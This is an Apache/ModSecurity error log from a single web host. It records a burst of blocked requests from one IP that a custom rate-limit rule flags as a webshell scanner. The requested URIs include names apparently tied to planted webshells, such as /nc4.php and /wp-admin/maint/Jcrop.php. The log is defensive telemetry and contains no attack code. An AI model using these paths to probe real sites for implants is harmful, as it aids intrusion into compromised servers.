[Thu Mar 26 16:51:35.975909 2026] [:error] [pid 19818:tid 19835] [client 4.232.84.11:64927] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "acTzl8zaSnm3d1BeM5XLgQAAAM8"]
[Thu Mar 26 16:51:36.637184 2026] [:error] [pid 19818:tid 19822] [client 4.232.84.11:65354] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acTzmMzaSnm3d1BeM5XLhAAAAMI"]
[Thu Mar 26 16:51:37.779157 2026] [:error] [pid 19818:tid 19836] [client 4.232.84.11:65408] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acTzmczaSnm3d1BeM5XLiAAAANA"]
[Thu Mar 26 16:51:38.329577 2026] [:error] [pid 31717:tid 31738] [client 4.232.84.11:65462] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acTzmr-SCF7YDISDX4_PiAAAAZA"]
[Thu Mar 26 16:51:38.885251 2026] [:error] [pid 19712:tid 19783] [client 4.232.84.11:65124] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acTzmtWhKhRNqm23vFMQ6wAAAIc"]
[Thu Mar 26 16:51:39.518327 2026] [:error] [pid 19712:tid 19776] [client 4.232.84.11:65171] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acTzm9WhKhRNqm23vFMQ7AAAAIA"]
[Thu Mar 26 16:51:40.559509 2026] [:error] [pid 19711:tid 19754] [client 4.232.84.11:65345] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acTznGj3l1y81GYfluSDpgAAAEU"]
[Thu Mar 26 16:51:41.171576 2026] [:error] [pid 19712:tid 19780] [client 4.232.84.11:65199] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acTzndWhKhRNqm23vFMQ8AAAAIQ"]
[Thu Mar 26 16:51:41.864950 2026] [:error] [pid 31778:tid 31799] [client 4.232.84.11:65409] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acTznQ3kybI2o-xasmDfMwAAAcY"]
[Thu Mar 26 16:51:42.718042 2026] [:error] [pid 60829:tid 60840] [client 4.232.84.11:65359] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "acTznvTdjHKeZokybaSkeQAAAQk"]
[Thu Mar 26 16:51:43.258047 2026] [:error] [pid 60829:tid 60854] [client 4.232.84.11:65178] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "acTzn_TdjHKeZokybaSkgAAAARc"]
[Thu Mar 26 16:51:44.627804 2026] [:error] [pid 31670:tid 31677] [client 4.232.84.11:65349] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "acTzoDXVthXxCnWjOTRIWAAAAUU"]
[Thu Mar 26 16:51:45.237275 2026] [:error] [pid 31670:tid 31691] [client 4.232.84.11:65460] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "acTzoTXVthXxCnWjOTRIWwAAAVM"]
[Thu Mar 26 16:51:46.768050 2026] [:error] [pid 19818:tid 19822] [client 4.232.84.11:64909] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "acTzoszaSnm3d1BeM5XLjgAAAMI"]
[Thu Mar 26 16:51:47.369431 2026] [:error] [pid 31778:tid 31798] [client 4.232.84.11:65398] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "acTzow3kybI2o-xasmDfNAAAAcU"]
[Thu Mar 26 16:51:48.077461 2026] [:error] [pid 31780:tid 31829] [client 4.232.84.11:65154] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "acTzpJJDwZsy5O4ZXEh1-wAAAgg"]
[Thu Mar 26 16:51:48.922768 2026] [:error] [pid 31670:tid 31676] [client 4.232.84.11:65413] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "acTzpDXVthXxCnWjOTRIYwAAAUQ"]
[Thu Mar 26 16:51:49.523843 2026] [:error] [pid 31717:tid 31731] [client 4.232.84.11:65173] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "acTzpb-SCF7YDISDX4_PkAAAAYk"]
[Thu Mar 26 16:51:50.480628 2026] [:error] [pid 19818:tid 19824] [client 4.232.84.11:65112] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "acTzpszaSnm3d1BeM5XLlQAAAMQ"]
[Thu Mar 26 16:51:51.039602 2026] [:error] [pid 31670:tid 31686] [client 4.232.84.11:65382] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "acTzpzXVthXxCnWjOTRIaQAAAU4"]
[Thu Mar 26 16:51:51.803790 2026] [:error] [pid 31670:tid 31693] [client 4.232.84.11:64958] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "acTzpzXVthXxCnWjOTRIcAAAAVU"]
[Thu Mar 26 16:51:52.596170 2026] [:error] [pid 31670:tid 31684] [client 4.232.84.11:64938] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xvs.php"] [unique_id "acTzqDXVthXxCnWjOTRIdQAAAUw"]
[Thu Mar 26 16:51:53.128902 2026] [:error] [pid 19818:tid 19820] [client 4.232.84.11:64662] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xvs.php"] [unique_id "acTzqczaSnm3d1BeM5XLmgAAAMA"]
[Thu Mar 26 16:51:53.756498 2026] [:error] [pid 31670:tid 31687] [client 4.232.84.11:64931] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xvs.php"] [unique_id "acTzqTXVthXxCnWjOTRIgQAAAU8"]
[Thu Mar 26 16:51:54.340184 2026] [:error] [pid 31717:tid 31724] [client 4.232.84.11:64841] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xvs.php"] [unique_id "acTzqr-SCF7YDISDX4_PkwAAAYI"]
[Thu Mar 26 16:51:55.019434 2026] [:error] [pid 31670:tid 31694] [client 4.232.84.11:65144] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acTzqzXVthXxCnWjOTRIiAAAAVY"]
[Thu Mar 26 16:51:55.904598 2026] [:error] [pid 31717:tid 31722] [client 4.232.84.11:65153] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acTzq7-SCF7YDISDX4_PlAAAAYA"]
[Thu Mar 26 16:51:56.787176 2026] [:error] [pid 60829:tid 60833] [client 4.232.84.11:64940] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acTzrPTdjHKeZokybaSklQAAAQI"]
[Thu Mar 26 16:51:57.559572 2026] [:error] [pid 31670:tid 31686] [client 4.232.84.11:65394] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acTzrTXVthXxCnWjOTRIjgAAAU4"]
[Thu Mar 26 16:51:59.063445 2026] [:error] [pid 31670:tid 31680] [client 4.232.84.11:65147] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "acTzrzXVthXxCnWjOTRImwAAAUg"]
[Thu Mar 26 16:51:59.741998 2026] [:error] [pid 31670:tid 31672] [client 4.232.84.11:65448] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "acTzrzXVthXxCnWjOTRIowAAAUA"]
[Thu Mar 26 16:52:01.109733 2026] [:error] [pid 31778:tid 31812] [client 4.232.84.11:64296] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "acTzsQ3kybI2o-xasmDfQwAAAdM"]
[Thu Mar 26 16:52:03.516527 2026] [:error] [pid 19818:tid 19835] [client 4.232.84.11:65423] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "acTzs8zaSnm3d1BeM5XLuQAAAM8"]
[Thu Mar 26 16:52:04.420173 2026] [:error] [pid 31670:tid 31681] [client 4.232.84.11:65213] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "acTztDXVthXxCnWjOTRIuAAAAUk"]
[Thu Mar 26 16:52:05.679362 2026] [:error] [pid 31670:tid 31679] [client 4.232.84.11:64840] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "acTztTXVthXxCnWjOTRIvQAAAUc"]
[Thu Mar 26 16:52:06.737796 2026] [:error] [pid 19710:tid 19723] [client 4.232.84.11:65370] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "acTztgVEWP8Ar68Njk7wawAAAAE"]
[Thu Mar 26 16:52:07.307549 2026] [:error] [pid 31670:tid 31690] [client 4.232.84.11:64952] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "acTztzXVthXxCnWjOTRIxgAAAVI"]
[Thu Mar 26 16:52:08.774491 2026] [:error] [pid 31670:tid 31696] [client 4.232.84.11:65114] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acTzuDXVthXxCnWjOTRIzwAAAVg"]
[Thu Mar 26 16:52:10.042047 2026] [:error] [pid 19818:tid 19825] [client 4.232.84.11:65194] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acTzuszaSnm3d1BeM5XLwwAAAMU"]
[Thu Mar 26 16:52:10.955366 2026] [:error] [pid 31670:tid 31674] [client 4.232.84.11:65189] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acTzujXVthXxCnWjOTRI3AAAAUI"]
[Thu Mar 26 16:52:12.375284 2026] [:error] [pid 60829:tid 60835] [client 4.232.84.11:64835] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acTzvPTdjHKeZokybaSknAAAAQQ"]
[Thu Mar 26 16:52:13.046176 2026] [:error] [pid 31670:tid 31687] [client 4.232.84.11:65165] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "acTzvTXVthXxCnWjOTRI4wAAAU8"]
[Thu Mar 26 16:52:13.642974 2026] [:error] [pid 31670:tid 31680] [client 4.232.84.11:65148] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "acTzvTXVthXxCnWjOTRI5gAAAUg"]
[Thu Mar 26 16:52:14.217394 2026] [:error] [pid 31670:tid 31689] [client 4.232.84.11:65443] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "acTzvjXVthXxCnWjOTRI6AAAAVE"]
[Thu Mar 26 16:52:14.738787 2026] [:error] [pid 19710:tid 19737] [client 4.232.84.11:65461] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "acTzvgVEWP8Ar68Njk7wbgAAAA8"]
[Thu Mar 26 16:52:15.327437 2026] [:error] [pid 31778:tid 31814] [client 4.232.84.11:65365] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "acTzvw3kybI2o-xasmDfTgAAAdU"]
[Thu Mar 26 16:52:15.926768 2026] [:error] [pid 60829:tid 60844] [client 4.232.84.11:65405] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "acTzv_TdjHKeZokybaSkowAAAQ0"]
[Thu Mar 26 16:52:16.939664 2026] [:error] [pid 19818:tid 19823] [client 4.232.84.11:64908] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "acTzwMzaSnm3d1BeM5XLywAAAMM"]
[Thu Mar 26 16:52:17.531429 2026] [:error] [pid 31670:tid 31680] [client 4.232.84.11:64579] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "acTzwTXVthXxCnWjOTRI8AAAAUg"]
[Thu Mar 26 16:52:18.399907 2026] [:error] [pid 31670:tid 31684] [client 4.232.84.11:65379] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "acTzwjXVthXxCnWjOTRI8QAAAUw"]
[Thu Mar 26 16:52:19.023487 2026] [:error] [pid 31670:tid 31674] [client 4.232.84.11:65146] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "acTzwzXVthXxCnWjOTRI9AAAAUI"]
[Thu Mar 26 16:52:19.619642 2026] [:error] [pid 31717:tid 31732] [client 4.232.84.11:65393] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "acTzw7-SCF7YDISDX4_PogAAAYo"]
[Thu Mar 26 16:52:20.128542 2026] [:error] [pid 31717:tid 31742] [client 4.232.84.11:64898] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "acTzxL-SCF7YDISDX4_PpAAAAZQ"]
[Thu Mar 26 16:52:20.796148 2026] [:error] [pid 31778:tid 31795] [client 4.232.84.11:65150] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acTzxA3kybI2o-xasmDfVQAAAcI"]
[Thu Mar 26 16:52:21.412217 2026] [:error] [pid 31717:tid 31731] [client 4.232.84.11:65410] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acTzxb-SCF7YDISDX4_PpwAAAYk"]
[Thu Mar 26 16:52:21.945286 2026] [:error] [pid 31717:tid 31745] [client 4.232.84.11:65351] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acTzxb-SCF7YDISDX4_PqwAAAZc"]
